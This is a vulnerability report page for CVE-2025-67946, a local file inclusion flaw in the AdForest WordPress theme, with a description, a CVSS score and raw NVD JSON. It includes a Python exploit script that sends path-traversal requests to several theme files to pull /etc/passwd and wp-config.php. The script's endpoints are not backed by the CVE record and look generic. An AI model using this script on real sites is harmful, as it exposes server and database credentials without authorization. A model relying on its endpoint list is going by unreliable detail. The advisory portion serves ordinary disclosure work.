Security Vulnerability Report
中文
CVE-2025-67946 CVSS 8.1 HIGH

CVE-2025-67946

Published: 2026-01-22 17:16:04
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in scriptsbundle AdForest adforest allows PHP Local File Inclusion.This issue affects AdForest: from n/a through <= 6.0.11.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AdForest <= 6.0.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-67946 PoC - WordPress AdForest LFI # Target: WordPress site using AdForest theme <= 6.0.11 target = "http://target-site.com" # Common vulnerable endpoints in AdForest theme vulnerable_paths = [ "/wp-content/themes/adforest/template-parts/post-formats/single-audio.php?sb_category=/etc/passwd", "/wp-content/themes/adforest/template-parts/post-formats/single-video.php?video_url=/etc/passwd", "/wp-content/themes/adforest/search.php?inc=../../../wp-config.php", "/wp-content/themes/adforest/author.php?author=../../../../etc/passwd", "/wp-content/themes/adforest/tag.php?tag=/etc/passwd" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print("[*] Testing CVE-2025-67946 - AdForest LFI Vulnerability") print("[*] Target:", target) for path in vulnerable_paths: url = target + path try: response = requests.get(url, headers=headers, timeout=10, verify=False) if 'root:' in response.text or 'wp-config.php' in response.text: print(f"[+] VULNERABLE! Found sensitive data at: {path}") print(f"[+] Response snippet: {response.text[:500]}") elif response.status_code == 200: print(f"[*] Potentially vulnerable: {path}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {path}: {e}") print("\n[*] PoC completed. Manual verification recommended.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67946", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:04.290", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in scriptsbundle AdForest adforest allows PHP Local File Inclusion.This issue affects AdForest: from n/a through <= 6.0.11."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración include/require en un programa PHP (vulnerabilidad de 'Inclusión Remota de Ficheros PHP') en scriptsbundle AdForest adforest permite la Inclusión Local de Ficheros PHP. Este problema afecta a AdForest: desde n/a hasta &lt;= 6.0.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/adforest/vulnerability/wordpress-adforest-theme-6-0-11-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}